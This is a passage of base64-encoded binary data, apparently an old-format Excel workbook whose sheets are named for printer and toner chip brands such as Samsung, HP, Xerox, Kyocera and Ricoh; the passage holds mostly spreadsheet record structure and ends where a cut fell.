CgAXAAAAGgIEBwAAvgAsABcAAQAaAhoCGgIaAhoCGAIYAhgCoQEmASYBJgEmASYBJgEmASYBJgEm ARMA1wA0ANgGAADMATIAHAAyABwAMgAcABwAKAAoAD4APgA+AD4APgA+AD4APgA+AD4APgA+AD4A PgDsAMAADwAC8LgAAAAQAAjwCAAAAAIAAAACBAAADwAD8KAAAAAPAATwKAAAAAEACfAQAAAAAAAA AAAAAAAAAAAAAAAAAAIACvAIAAAAAAQAAAUAAAAPAATwaAAAALIECvAIAAAAAgQAAAAKAABjAAvw LgAAAH8AgACNAQRBAQAAAAWBCgAAAH8BIAAwAL8BAAAQAP8BAAAIAEwATwBHAE8AAAAAABDwEgAA AAIAAAAAAAAAAAAEAOcDBgAAAQAAEfAAAAAAXQAmABUAEgAIAAIAEWAAAAAAuFt4BAAAAAAHAAIA //8IAAIAAAAAAAAAPgISAL4BAAAAAEAAAAA8AAAAAAAAAEEACgAAAAkACQBAAAIAHQAPAAMAAAAA AAABAAAAAAAAAB0ADwACCAALAAAAAQAIAAgACwuZAAIAJAnlAKoAFQAXABcAAAAIAAAABgAAAAQA AgADAAUACAAAAAEABQAIAAQABgAFAAgAEwATAAAACAAUABQAAAAIABUAFQAAAAgAFgAWAAAACAAP AA8AAAAIABAAEAAAAAgAEQARAAAACAASABIAAAAIAAsACwAAAAgADAAMAAAACAANAA0AAAAIAA4A DgAAAAgABwAHAAAACAAIAAgAAAAIAAkACQAAAAgACgAKAAAACADvAAYAHwA3AAAAuAFcAAkACQAA AAUA0Mnqefm6zhGMggCqAEupCwIAAAAcAAAADwAAAFMAYQBtAHMAdQBuAGcAIAAgAEMAaABpAHAA IAAAAAsAAABTAGEAbQBzAHUAbgBnACEAQQAxAAAAuAFIAAoACgAAAAUA0Mnqefm6zhGMggCqAEup CwIAAAAcAAAACgAAAEgAUAAgACAAQwBoAGkAcAAgAAAABgAAAEgAUAAhAEEAMQAAALgBUgALAAsA AAAFANDJ6nn5us4RjIIAqgBLqQsCAAAAHAAAAAwAAABYAGUAcgBvAHgAIABDAGgAaQBwACAAAAAJ AAAAWABlAHIAbwB4ACEAQQAxAAAAuAFMAAwADAAAAAUA0Mnqefm6zhGMggCqAEupCwIAAAAcAAAA CwAAAE8ASwBJACAAIABDAGgAaQBwACAAAAAHAAAATwBLAEkAIQBBADEAAAC4AVoADQANAAAABQDQ yep5+brOEYyCAKoAS6kLAgAAABwAAAAOAAAASwB5AG8AYwBlAHIAYQAgAEMAaABpAHAAIAAAAAsA AABLAHkAbwBjAGUAcgBhACEAQQAxAAAAuAFoAA4ADgAAAAUA0Mnqefm6zhGMggCqAEupCwIAAAAc AAAAFQAAAEsAbwBuAGkAYwBhACAATQBpAG4AbwBsAHQAYQAgAEMAaABpAHAAIAAAAAsAAABNAGkA bgBvAGwAdABhACEAQQAxAAAAuAFUAA8ADwAAAAUA0Mnqefm6zhGMggCqAEupCwIAAAAcAAAADQAA AFMAaABhAHIAcAAgACAAQwBoAGkAcAAgAAAACQAAAFMAaABhAHIAcAAhAEEAMQAAALgBVAAQABAA AAAFANDJ6nn5us4RjIIAqgBLqQsCAAAAHAAAAA0AAABFAHAAcwBvAG4AIAAgAEMAaABpAHAAIAAA AAkAAABFAHAAcwBvAG4AIQBBADEAAAC4AVwAEQARAAAABQDQyep5+brOEYyCAKoAS6kLAgAAABwA AAAPAAAATABlAHgAbQBhAHIAawAgACAAQwBoAGkAcAAgAAAACwAAAEwAZQB4AG0AYQByAGsAIQBB ADEAAAC4AVAAEgASAAAABQDQyep5+brOEYyCAKoAS6kLAgAAABwAAAAMAAAARABlAGwAbAAgACAA QwBoAGkAcAAgAAAACAAAAEQAZQBsAGwAIQBBADEAAAC4AXYAEwATAAAABQDQyep5+brOEYyCAKoA S6kLAgAAABwAAAAUAAAARABlAHYAZQBsAG8AcAAgAGkAbgBlAG8AIAAgAEMAaABpAHAAIAAAABMA AAAnAEQAZQB2AGUAbABvAHAAIABpAG4AZQBvACAAJwAhAEEAMQAAALgBVAAUABQAAAAFANDJ6nn5 us4RjIIAqgBLqQsCAAAAHAAAAA0AAABSAGkAYwBvAGgAIAAgAEMAaABpAHAAIAAAAAkAAABSAGkA YwBvAGgAIQBBADEAAAC4AVQAFQAVAAAABQDQyep5+brOEYyCAKoAS6kLAgAAABwAAAANAAAAQwBh AG4AbwBuACAAIABDAGgAaQBwACAAAAAJAAAAQwBhAG4AbwBuACEAQQAxAAAAuAFcABYAFgAAAAUA 0Mnqefm6zhGMggCqAEupCwIAAAAcAAAADwAAAFQAbwBzAGgAaQBiAGEAIAAgAEMAaABpAHAAIAAA AAsAAABUAG8AcwBoAGkAYgBhACEAQQAxAAAAuAFOABcAFwAAAAUA0Mnqefm6zhGMggCqAEupCwIA AAAcAAAACwAAAFUAdABhAHgAIABDAGgAaQBwACAAAAAIAAAAVQB0AGEAeAAhAEEAMQAAAGIIFABi CAAAAAAAAAAAAAAUAAAADgAAAAoAAAAJCBAAAAYQAJsgzQfJwAAABgMAAAsCIAAAAAAAAAAAAH4A AAASugIAcMQCANTPAgD82gIA/OQCAA0AAgABAAwAAgBkAA8AAgABABEAAgAAABAACAD8qfHSTWJQ P18AAgABACoAAgAAACsAAgAAAIIAAgABAIAACAAAAAAAAAAAACUCBAAAAB0BgQACAMEEFAAAABUA AACDAAIAAACEAAIAAAChACIACQBkAPfvAQABAAIA/P9YArAFW7AFW+A/sAVbsAVb4D8BAFUAAgAI AH0ADAAAAAAAtgnrAAIAAgB9AAwAAQABANsV4gACAAIAfQAMAAIAAgAkSeIAAgACAH0ADAADAAMA JAncAAYAAgB9AAwABAAEACQJ7AAGAAIAAAIOAAAAAAB+AAAAAAAFAAAACAIQAAAAAAAFAB0BAAAA AAABDwAIAhAAAQAAAAUAHQEAAAAAAAEPAAgCEAACAAAABQAdAQAAAAAAAQ8ACAIQAAMAAAAFAB0B AAAAAAABDwAIAhAABAAAAAUAHQEAAAAAAAEPAAgCEAAFAAAABQAdAQAAAAAAAQ8ACAIQAAYAAAAF AB0BAAAAAAABDwAIAhAABwAAAAUAlAIAAAAAQAEPAAgCEAAIAAAABQBoAQAAAABAAQ8ACAIQAAkA AAAFAGgBAAAAAEABDwAIAhAACgAAAAUAaAEAAAAAQAEPAAgCEAALAAAABQBoAQAAAABAAQ8ACAIQ AAwAAAAFAGgBAAAAAEABDwAIAhAADQAAAAUAaAEAAAAAQAEPAAgCEAAOAAAABQBoAQAAAABAAQ8A CAIQAA8AAAAFAGgBAAAAAEABDwAIAhAAEAAAAAUAaAEAAAAAQAEPAAgCEAARAAAABQBoAQAAAABA AQ8ACAIQABIAAAAFAGgBAAAAAEABDwAIAhAAEwAAAAUAaAEAAAAAQAEPAAgCEAAUAAAABQBoAQAA AABAAQ8ACAIQABUAAAAFAGgBAAAAAEABDwAIAhAAFgAAAAUAaAEAAAAAQAEPAAgCEAAXAAAABQBo AQAAAABAAQ8ACAIQABgAAAAFAGgBAAAAAEABDwAIAhAAGQAAAAUAaAEAAAAAQAEPAAgCEAAaAAAA BQBoAQAAAABAAQ8ACAIQABsAAAAFAGgBAAAAAEABDwAIAhAAHAAAAAUAaAEAAAAAQAEPAAgCEAAd AAAABQDOAQAAAABAAQ8ACAIQAB4AAAAFAGgBAAAAAEABDwAIAhAAHwAAAAUAaAEAAAAAQAEPAAEC BgAAAAAA4gC+AAoAAAADACECIQIEAAECBgABAAAA4gC+AAoAAQADACECIQIEAAECBgACAAAA4gC+ AAoAAgADACECIQIEAAECBgADAAAA4gC+AAoAAwADACECIQIEAAECBgAEAAAA4gC+AAoABAADACEC IQIEAAECBgAFAAAA4gC+AAoABQADACECIQIEAAECBgAGAAAA4gC+AAoABgADACECIQIEAP0ACgAH AAAAdwEFBwAA/QAKAAcAAQB3AQYHAAD9AAoABwACAHcBBwcAAP0ACgAHAAMAdwEIBwAA/QAKAAcA BAB3AQkHAAB+AgoACAAAANwAAADwP/0ACgAIAAEA6QAKBwAA/QAKAAgAAgDlAAsHAAD9AAoACAAD AOEADAcAAP0ACgAIAAQA2wANBwAAfgIKAAkAAADcAAAAAED9AAoACQABAOkADgcAAP0ACgAJAAIA 5QALBwAA/QAKAAkAAwDhAA8HAAD9AAoACQAEANsADQcAAH4CCgAKAAAA3AAAAAhA/QAKAAoAAQDp ABAHAAD9AAoACgACAOUAEQcAAP0ACgAKAAMA4QAMBwAA/QAKAAoABADbAA0HAAB+AgoACwAAANwA AAAQQP0ACgALAAEA6QASBwAA/QAKAAsAAgDlABEHAAD9AAoACwADAOEAEwcAAP0ACgALAAQA2wAN BwAAfgIKAAwAAADcAAAAFED9AAoADAABAOkAFAcAAP0ACgAMAAIA5QAVBwAA/QAKAAwAAwDhABMH AAD9AAoADAAEANsADQcAAH4CCgANAAAA3AAAABhA/QAKAA0AAQDpABYHAAD9AAoADQACAOUAFQcA AP0ACgANAAMA4QAXBwAA/QAKAA0ABADbAA0HAAB+AgoADgAAANwAAAAcQP0ACgAOAAEA6QAYBwAA /QAKAA4AAgDlABkHAAD9AAoADgADAOEAGgcAAP0ACgAOAAQA2wANBwAAfgIKAA8AAADcAAAAIED9 AAoADwABAOkAGwcAAP0ACgAPAAIA5QAcBwAA/QAKAIEBAACCAQAAgwEAAIQBAACFAQAAhgEAAIcB AACIAQAAiQEAAIoBAACLAQAAjAEAAI0BAACOAQAAjwEAAJABAACRAQAAkgEAAJMBAACUAQAAlQEA AJYBAACXAQAAmAEAAJkBAACaAQAAmwEAAJwBAACdAQAAngEAAJ8BAACgAQAAoQEAAKIBAACjAQAA pAEAAKUBAACmAQAApwEAAKgBAACpAQAAqgEAAKsBAACsAQAArQEAAK4BAACvAQAAsAEAALEBAACy AQAAswEAALQBAAC1AQAAtgEAALcBAAC4AQAAuQEAALoBAAC7AQAAvAEAAL0BAAC+AQAAvwEAAMAB AADBAQAAwgEAAMMBAADEAQAAxQEAAMYBAADHAQAAyAEAAMkBAADKAQAAywEAAMwBAADNAQAAzgEA AM8BAADQAQAA0QEAANIBAADTAQAA1AEAANUBAADWAQAA1wEAANgBAADZAQAA2gEAANsBAADcAQAA 3QEAAN4BAADfAQAA4AEAAOEBAADiAQAA4wEAAOQBAADlAQAA5gEAAOcBAADoAQAA6QEAAOoBAADr AQAA7AEAAO0BAADuAQAA7wEAAPABAADxAQAA8gEAAPMBAAD0AQAA9QEAAPYBAAD3AQAA+AEAAPkB AAD6AQAA+wEAAPwBAAD9AQAA/gEAAAACAAD9////DwADAOEADAcAAP0ACgAPAAQA2wANBwAAfgIK ABAAAADcAAAAIkD9AAoAEAABAOkAHQcAAP0ACgAQAAIA5QAcBwAA/QAKABAAAwDhAA8HAAD9AAoA EAAEANsADQcAAH4CCgARAAAA3AAAACRA/QAKABEAAQDqAB4HAAD9AAoAEQACAOQAHwcAAP0ACgAR AAMA4AAgBwAA/QAKABEABADbAA0HAAB+AgoAEgAAANwAAAAmQP0ACgASAAEA6gAhBwAA/QAKABIA AgDkACIHAAD9AAoAEgADAOAAIwcAAP0ACgASAAQA2wANBwAAfgIKABMAAADcAAAAKED9AAoAEwAB AOoAJAcAAP0ACgATAAIA5AAlBwAA/QAKABMAAwDgACAHAAD9AAoAEwAEANsADQcAAH4CCgAUAAAA 3AAAACpA/QAKABQAAQDqACYHAAD9AAoAFAACAOQAJwcAAP0ACgAUAAMA4AAoBwAA/QAKABQABADb AA0HAAB+AgoAFQAAANwAAAAsQP0ACgAVAAEA6gApBwAA/QAKABUAAgDkACoHAAD9AAoAFQADAOAA KwcAAP0ACgAVAAQA2wANBwAAfgIKABYAAADcAAAALkD9AAoAFgABAJ0ALAcAAP0ACgAWAAIAnwAt BwAA/QAKABYAAwCcAA8HAAD9AAoAFgAEANsADQcAAH4CCgAXAAAA3AAAADBA/QAKABcAAQCdAC4H AAD9AAoAFwACAJ8ALwcAAP0ACgAXAAMAnAAwBwAA/QAKABcABADbAA0HAAB+AgoAGAAAANwAAAAx QP0ACgAYAAEAnQAxBwAA/QAKABgAAgCfADIHAAD9AAoAGAADAJwAKAcAAP0ACgAYAAQA2wANBwAA fgIKABkAAADcAAAAMkD9AAoAGQABAJ8AMwcAAP0ACgAZAAIAnwA0BwAA/QAKABkAAwCcADUHAAD9 AAoAGQAEANsADQcAAH4CCgAaAAAA3AAAADNA/QAKABoAAQCdADYHAAD9AAoAGgACAJ8ANwcAAP0A CgAaAAMAnAAoBwAA/QAKABoABADbAA0HAAB+AgoAGwAAANwAAAA0QP0ACgAbAAEAnwA4BwAA/QAK ABsAAgCfADkHAAD9AAoAGwADAJwADwcAAP0ACgAbAAQA2wANBwAAfgIKABwAAADcAAAANUD9AAoA HAABAJ8AOgcAAP0ACgAcAAIAnwA7BwAAAQIGABwAAwCcAP0ACgAcAAQA2wANBwAAfgIKAB0AAADc AAAANkD9AAoAHQABAJ8APAcAAP0ACgAdAAIAnwA9BwAAAQIGAB0AAwCcAP0ACgAdAAQA2wANBwAA fgIKAB4AAADcAAAAN0D9AAoAHgABAJ0APgcAAP0ACgAeAAIAnQA/BwAA/QAKAB4AAwCcAEAHAAD9 AAoAHgAEANsADQcAAH4CCgAfAAAA3AAAADhA/QAKAB8AAQCdAD4HAAD9AAoAHwACAJ0APwcAAP0A CgAfAAMAnABBBwAA/QAKAB8ABADbAA0HAADXAEQA9gkAAGwCGAAYABgAGAAYABgAGABGAEYARgBG AEYARgBGAEYARgBGAEYARgBGAEYARgBGAEYARgBGAEYARgBCAEIARgAIAhAAIAAAAAUAaAEAAAAA QAEPAAgCEAAhAAAABQBoAQAAAABAAQ8ACAIQACIAAAAFAGgBAAAAAEABDwAIAhAAIwAAAAUAaAEA AAAAQAEPAAgCEAAkAAAABQBoAQAAAABAAQ8ACAIQACUAAAAFAGgBAAAAAEABDwAIAhAAJgAAAAUA aAEAAAAAQAEPAAgCEAAnAAAABQBoAQAAAABAAQ8ACAIQACgAAAAFAGgBAAAAAEABDwAIAhAAKQAA AAUAaAEAAAAAQAEPAAgCEAAqAAAABQBoAQAAAABAAQ8ACAIQACsAAAAFAGgBAAAAAEABDwAIAhAA LAAAAAUAaAEAAAAAQAEPAAgCEAAtAAAABQBoAQAAAABAAQ8ACAIQAC4AAAAFAGgBAAAAAEABDwAI AhAALwAAAAUAaAEAAAAAQAEPAAgCEAAwAAAABQBoAQAAAABAAQ8ACAIQADEAAAAFAGgBAAAAAEAB DwAIAhAAMgAAAAUAaAEAAAAAQAEPAAgCEAAzAAAABQBoAQAAAABAAQ8ACAIQADQAAAAFAGcCAAAA AEABDwAIAhAANQAAAAUAaAEAAAAAQAEPAAgCEAA2AAAABQBoAQAAAABAAQ8ACAIQADcAAAAFAGgB AAAAAEABDwAIAhAAOAAAAAUAaAEAAAAAQAEPAAgCEAA5AAAABQBoAQAAAABAAQ8ACAIQADoAAAAF AGgBAAAAAEABDwAIAhAAOwAAAAUAaAEAAAAAQAEPAAgCEAA8AAAABQBoAQAAAABAAQ8ACAIQAD0A AAAFAGgBAAAAAEABDwAIAhAAPgAAAAUAaAEAAAAAQAEPAAgCEAA/AAAABQBoAQAAAABAAQ8AfgIK ACAAAADcAAAAOUD9AAoAIAABAJ0AQgcAAP0ACgAgAAIAnQBDBwAA/QAKACAAAwCcACgHAAD9AAoA IAAEANsADQcAAH4CCgAhAAAA3AAAADpA/QAKACEAAQCdAEQHAAD9AAoAIQACAJ0ARQcAAP0ACgAh AAMAnAATBwAA/QAKACEABADbAA0HAAB+AgoAIgAAANwAAAA7QP0ACgAiAAEAnQBGBwAA/QAKACIA AgCdAEcHAAD9AAoAIgADAJwAQAcAAP0ACgAiAAQA2wANBwAAfgIKACMAAADcAAAAPED9AAoAIwAB AJ0ASAcAAP0ACgAjAAIAnQBJBwAA/QAKACMAAwCcAEoHAAD9AAoAIwAEANsADQcAAH4CCgAkAAAA 3AAAAD1A/QAKACQAAQCdAEsHAAD9AAoAJAACAJ0ASQcAAP0ACgAkAAMAnABMBwAA/QAKACQABADb AA0HAAB+AgoAJQAAANwAAAA+QP0ACgAlAAEAnQBNBwAA/QAKACUAAgCdAE4HAAD9AAoAJQADAJwA TwcAAP0ACgAlAAQA2wANBwAAfgIKACYAAADcAAAAP0D9AAoAJgABAJ0ATQcAAP0ACgAmAAIAnQBQ BwAA/QAKACYAAwCcAFEHAAD9AAoAJgAEANsADQcAAH4CCgAnAAAA3AAAAEBA/QAKACcAAQCdAFIH AAD9AAoAJwACAJ0AUwcAAP0ACgAnAAMAnAAMBwAA/QAKACcABADbAA0HAAB+AgoAKAAAANwAAIBA QP0ACgAoAAEAnQBUBwAA/QAKACgAAgCdAFMHAAD9AAoAKAADAJwAQAcAAP0ACgAoAAQA2wANBwAA fgIKACkAAADcAAAAQUD9AAoAKQABAJ0AVQcAAP0ACgApAAIAnQBWBwAA/QAKACkAAwCcAFcHAAD9 AAoAKQAEANsADQcAAH4CCgAqAAAA3AAAgEFA/QAKACoAAQCdAFgHAAD9AAoAKgACAJ0AVgcAAP0A CgAqAAMAnABZBwAA/QAKACoABADbAA0HAAB+AgoAKwAAANwAAABCQP0ACgArAAEAnQBaBwAA/QAK ACsAAgCdAFsHAAD9AAoAKwADAJwAVwcAAP0ACgArAAQA2wANBwAAfgIKACwAAADcAACAQkD9AAoA LAABAJ0AXAcAAP0ACgAsAAIAnQBbBwAA/QAKACwAAwCcAFkHAAD9AAoALAAEANsADQcAAH4CCgAt AAAA3AAAAENA/QAKAC0AAQCdAF0HAAD9AAoALQACAJ0AXgcAAP0ACgAtAAMAnABBBwAA/QAKAC0A BADbAA0HAAB+AgoALgAAANwAAIBDQP0ACgAuAAEA4wBfBwAA/QAKAC4AAgDjAGAHAAD9AAoALgAD AN8AYQcAAP0ACgAuAAQA2wANBwAAfgIKAC8AAADcAAAARED9AAoALwABAOMAYgcAAP0ACgAvAAIA 4wBjBwAA/QAKAC8AAwDfABMHAAD9AAoALwAEANsADQcAAH4CCgAwAAAA3AAAgERA/QAKADAAAQDj AGQHAAD9AAoAMAACAOMAYwcAAP0ACgAwAAMA3wBlBwAA/QAKADAABADbAA0HAAB+AgoAMQAAANwA AABFQP0ACgAxAAEA4wBmBwAA/QAKADEAAgDuAfAGAAD9AAoAMQADAN8AZwcAAP0ACgAxAAQA2wAN BwAAAQIGADIAAADcAP0ACgAyAAEA7AHtBgAA/QAKADIAAgDsAe0GAAD9AAoAMgADAO0BZwcAAP0A CgAyAAQA2wANBwAAAQIGADMAAADcAP0ACgAzAAEA7AHuBgAA/QAKADMAAgDsAe4GAAD9AAoAMwAD AO0B7wYAAP0ACgAzAAQA2wANBwAAfgIKADQAAADcAACARUD9AAoANAABAJ4AaAcAAP0ACgA0AAIA 7wFpBwAA/QAKADQAAwCcAGoHAAD9AAoANAAEANsADQcAAH4CCgA1AAAA3AAAAEZA/QAKADUAAQCe AGsHAAD9AAoANQACAKAAbAcAAP0ACgA1AAMAoQAgBwAA/QAKADUABADbAA0HAAB+AgoANgAAANwA AIBGQP0ACgA2AAEA4gBtBwAA/QAKADYAAgAfAm4HAAD9AAoANgADANwAbwcAAP0ACgA2AAQA2wAN BwAAfgIKADcAAADcAAAAR0D9AAoANwABAOIAcAcAAAECBgA3AAIAIAL9AAoANwADANwAcQcAAP0A CgA3AAQA2gANBwAAfgIKADgAAADcAACAR0D9AAoAOAABAOIAcgcAAAECBgA4AAIAIAL9AAoAOAAD ANwAcQcAAP0ACgA4AAQA2QANBwAAfgIKADkAAADcAAAASED9AAoAOQABAOIAcwcAAAECBgA5AAIA IAL9AAoAOQADANwAcQcAAP0ACgA5AAQA2AANBwAAfgIKADoAAADcAACASED9AAoAOgABAOIAdAcA AP0ACgA6AAIAHwJ1BwAA/QAKADoAAwDcAHYHAAD9AAoAOgAEANsADQcAAH4CCgA7AAAA3AAAAElA /QAKADsAAQDiAHcHAAABAgYAOwACAB8C/QAKADsAAwDcABoHAAD9AAoAOwAEANoADQcAAH4CCgA8 AAAA3AAAgElA/QAKADwAAQDiAHgHAAABAgYAPAACAB8C/QAKADwAAwDcABoHAAD9AAoAPAAEANkA DQcAAH4CCgA9AAAA3AAAAEpA/QAKAD0AAQDiAHkHAAABAgYAPQACAB8C/QAKAD0AAwDcABoHAAD9 AAoAPQAEANgADQcAAH4CCgA+AAAA3AAAgEpA/QAKAD4AAQDiAHoHAAD9AAoAPgACAB8CewcAAP0A CgA+AAMA3AAgBwAA/QAKAD4ABADbAA0HAAB+AgoAPwAAANwAAABLQP0ACgA/AAEA4gB8BwAAAQIG AD8AAgAfAv0ACgA/AAMA3AB9BwAA/QAKAD8ABADaAA0HAADXAEQAHAsAAGwCRgBGAEYARgBGAEYA RgBGAEYARgBGAEYARgBGAEYARgBGAEYAQgBCAEYARgBGAEIAQgBCAEYAQgBCAEIARgAIAhAAQAAA AAUAaAEAAAAAQAEPAAgCEABBAAAABQBoAQAAAABAAQ8ACAIQAEIAAAAFAGgBAAAAAEABDwAIAhAA QwAAAAUAaAEAAAAAQAEPAAgCEABEAAAABQBoAQAAAABAAQ8ACAIQAEUAAAAFAGgBAAAAAEABDwAI AhAARgAAAAUAaAEAAAAAQAEPAAgCEABHAAAABQBoAQAAAABAAQ8ACAIQAEgAAAAFAGgBAAAAAEAB DwAIAhAASQAAAAUAaAEAAAAAQAEPAAgCEABKAAAABQBoAQAAAABAAQ8ACAIQAEsAAAAFAGgBAAAA AEABDwAIAhAATAAAAAUAaAEAAAAAQAEPAAgCEABNAAAABQBoAQAAAABAAQ8ACAIQAE4AAAAFAGgB AAAAAEABDwAIAhAATwAAAAUAaAEAAAAAQAEPAAgCEABQAAAABQBoAQAAAABAAQ8ACAIQAFEAAAAF AGgBAAAAAEABDwAIAhAAUgAAAAUAaAEAAAAAQAEPAAgCEABTAAAABQBoAQAAAABAAQ8ACAIQAFQA AAAFAGgBAAAAAEABDwAIAhAAVQAAAAUAaAEAAAAAQAEPAAgCEABWAAAABQBoAQAAAABAAQ8ACAIQ AFcAAAAFAGgBAAAAAEABDwAIAhAAWAAAAAUAaAEAAAAAQAEPAAgCEABZAAAABQBoAQAAAABAAQ8A CAIQAFoAAAAFAGgBAAAAAEABDwAIAhAAWwAAAAUAaAEAAAAAQAEPAAgCEABcAAAABQBoAQAAAABA AQ8ACAIQAF0AAAAFAGgBAAAAAEABDwAIAhAAXgAAAAUAaAEAAAAAQAEPAAgCEABfAAAABQBoAQAA AABAAQ8AfgIKAEAAAADcAACAS0D9AAoAQAABAOIAfgcAAAECBgBAAAIAHwL9AAoAQAADANwAfQcA AP0ACgBAAAQA2QANBwAAfgIKAEEAAADcAAAATED9AAoAQQABAOIAfwcAAAECBgBBAAIAHwL9AAoA QQADANwAfQcAAP0ACgBBAAQA2AANBwAAfgIKAEIAAADcAACATED9AAoAQgABAOkAgAcAAP0ACgBC AAIAIAKBBwAA/QAKAEIAAwDeACAHAAD9AAoAQgAEANsADQcAAH4CCgBDAAAA3AAAAE1A/QAKAEMA AQDpAIIHAAABAgYAQwACACAC/QAKAEMAAwDdAH0HAAD9AAoAQwAEANoADQcAAH4CCgBEAAAA3AAA gE1A/QAKAEQAAQDpAIMHAAABAgYARAACACAC/QAKAEQAAwDdAH0HAAD9AAoARAAEANkADQcAAH4C CgBFAAAA3AAAAE5A/QAKAEUAAQDpAIQHAAABAgYARQACACAC/QAKAEUAAwDdAH0HAAD9AAoARQAE ANgADQcAAH4CCgBGAAAA3AAAgE5A/QAKAEYAAQDoAIUHAAD9AAoARgACACAChgcAAP0ACgBGAAMA 3gAgBwAA/QAKAEYABADbAA0HAAB+AgoARwAAANwAAABPQP0ACgBHAAEA6ACHBwAAAQIGAEcAAgAg Av0ACgBHAAMA3QB9BwAA/QAKAEcABADaAA0HAAB+AgoASAAAANwAAIBPQP0ACgBIAAEA6ACIBwAA AQIGAEgAAgAgAv0ACgBIAAMA3QB9BwAA/QAKAEgABADZAA0HAAB+AgoASQAAANwAAABQQP0ACgBJ AAEA6ACJBwAAAQIGAEkAAgAgAv0ACgBJAAMA3QB9BwAA/QAKAEkABADYAA0HAAB+AgoASgAAANwA AEBQQP0ACgBKAAEA6ACKBwAA/QAKAEoAAgAgAosHAAD9AAoASgADAN4AbwcAAP0ACgBKAAQA2wAN BwAAfgIKAEsAAADcAACAUED9AAoASwABAOgAjAcAAAECBgBLAAIAIAL9AAoASwADAN0AKAcAAP0A CgBLAAQA2gANBwAAfgIKAEwAAADcAADAUED9AAoATAABAOgAjQcAAAECBgBMAAIAIAL9AAoATAAD AN0AKAcAAP0ACgBMAAQA2QANBwAAfgIKAE0AAADcAAAAUUD9AAoATQABAOgAjgcAAAECBgBNAAIA IAL9AAoATQADAN0AKAcAAP0ACgBNAAQA2AANBwAAfgIKAE4AAADcAABAUUD9AAoATgABAOgAjwcA AP0ACgBOAAIAIAKLBwAA/QAKAE4AAwDeADAHAAD9AAoATgAEANsADQcAAH4CCgBPAAAA3AAAgFFA /QAKAE8AAQDoAJAHAAABAgYATwACACAC/QAKAE8AAwDdAAwHAAD9AAoATwAEANoADQcAAH4CCgBQ AAAA3AAAwFFA/QAKAFAAAQDoAJEHAAABAgYAUAACACAC/QAKAFAAAwDdAAwHAAD9AAoAUAAEANkA DQcAAH4CCgBRAAAA3AAAAFJA/QAKAFEAAQDoAJIHAAABAgYAUQACACAC/QAKAFEAAwDdAAwHAAD9 AAoAUQAEANgADQcAAH4CCgBSAAAA3AAAQFJA/QAKAFIAAQDoAJMHAAD9AAoAUgACACAClAcAAP0A CgBSAAMA3QCVBwAA/QAKAFIABADbAA0HAAB+AgoAUwAAANwAAIBSQP0ACgBTAAEA6ACWBwAAAQIG AFMAAgAgAv0ACgBTAAMA3QCVBwAA/QAKAFMABADaAA0HAAB+AgoAVAAAANwAAMBSQP0ACgBUAAEA 6ACXBwAAAQIGAFQAAgAgAv0ACgBUAAMA3QCVBwAA/QAKAFQABADZAA0HAAB+AgoAVQAAANwAAABT QP0ACgBVAAEA6ACYBwAAAQIGAFUAAgAgAv0ACgBVAAMA3QCVBwAA/QAKAFUABADYAA0HAAB+AgoA VgAAANwAAEBTQP0ACgBWAAEA5wCZBwAA/QAKAFYAAgAgApoHAAD9AAoAVgADAN4AKAcAAP0ACgBW AAQA2wANBwAAfgIKAFcAAADcAACAU0D9AAoAVwABAOcAmwcAAAECBgBXAAIAIAL9AAoAVwADAN0A fQcAAP0ACgBXAAQA2gANBwAAfgIKAFgAAADcAADAU0D9AAoAWAABAOcAnAcAAAECBgBYAAIAIAL9 AAoAWAADAN0AfQcAAP0ACgBYAAQA2QANBwAAfgIKAFkAAADcAAAAVED9AAoAWQABAOcAnQcAAAEC BgBZAAIAIAL9AAoAWQADAN0AfQcAAP0ACgBZAAQA2AANBwAAfgIKAFoAAADcAABAVED9AAoAWgAB AOcAngcAAP0ACgBaAAIAIAKfBwAA/QAKAFoAAwDeAAwHAAD9AAoAWgAEANsADQcAAH4CCgBbAAAA 3AAAgFRA/QAKAFsAAQDnAKAHAAABAgYAWwACACAC/QAKAFsAAwDdACgHAAD9AAoAWwAEANoADQcA AH4CCgBcAAAA3AAAwFRA/QAKAFwAAQDnAKEHAAABAgYAXAACACAC/QAKAFwAAwDdACgHAAD9AAoA XAAEANkADQcAAH4CCgBdAAAA3AAAAFVA/QAKAF0AAQDnAKIHAAABAgYAXQACACAC/QAKAF0AAwDd ACgHAAD9AAoAXQAEANgADQcAAH4CCgBeAAAA3AAAQFVA/QAKAF4AAQDnAKMHAAD9AAoAXgACACAC pAcAAP0ACgBeAAMA3gCVBwAA/QAKAF4ABADbAA0HAAB+AgoAXwAAANwAAIBVQP0ACgBfAAEA5wCl BwAAAQIGAF8AAgAgAv0ACgBfAAMA3QAwBwAA/QAKAF8ABADaAA0HAADXAEQA4AoAAGwCQgBCAEYA QgBCAEIARgBCAEIAQgBGAEIAQgBCAEYAQgBCAEIARgBCAEIAQgBGAEIAQgBCAEYAQgBCAEIARgAI AhAAYAAAAAUAaAEAAAAAQAEPAAgCEABhAAAABQBoAQAAAABAAQ8ACAIQAGIAAAAFAGgBAAAAAEAB DwAIAhAAYwAAAAUAaAEAAAAAQAEPAAgCEABkAAAABQBoAQAAAABAAQ8ACAIQAGUAAAAFAGgBAAAA AEABDwAIAhAAZgAAAAUAaAEAAAAAQAEPAAgCEABnAAAABQBoAQAAAABAAQ8ACAIQAGgAAAAFAGgB AAAAAEABDwAIAhAAaQAAAAUAaAEAAAAAQAEPAAgCEABqAAAABQBoAQAAAABAAQ8ACAIQAGsAAAAF AGgBAAAAAEABDwAIAhAAbAAAAAUAaAEAAAAAQAEPAAgCEABtAAAABQBoAQAAAABAAQ8ACAIQAG4A AAAFAGgBAAAAAEABDwAIAhAAbwAAAAUAaAEAAAAAQAEPAAgCEABwAAAABQBoAQAAAABAAQ8ACAIQ AHEAAAAFAGgBAAAAAEABDwAIAhAAcgAAAAUAaAEAAAAAQAEPAAgCEABzAAAABQBoAQAAAABAAQ8A CAIQAHQAAAAFAGgBAAAAAEABDwAIAhAAdQAAAAUAaAEAAAAAQAEPAAgCEAB2AAAABQBoAQAAAABA AQ8ACAIQAHcAAAAFAGgBAAAAAEABDwAIAhAAeAAAAAUAaAEAAAAAQAEPAAgCEAB5AAAABQBoAQAA AABAAQ8ACAIQAHoAAAAFAGgBAAAAAEABDwAIAhAAewAAAAUAaAEAAAAAQAEPAAgCEAB8AAAABQBo AQAAAABAAQ8ACAIQAH0AAAAFAGgBAAAAAEABDwB+AgoAYAAAANwAAMBVQP0ACgBgAAEA5wCmBwAA AQIGAGAAAgAgAv0ACgBgAAMA3QAwBwAA/QAKAGAABADZAA0HAAB+AgoAYQAAANwAAABWQP0ACgBh 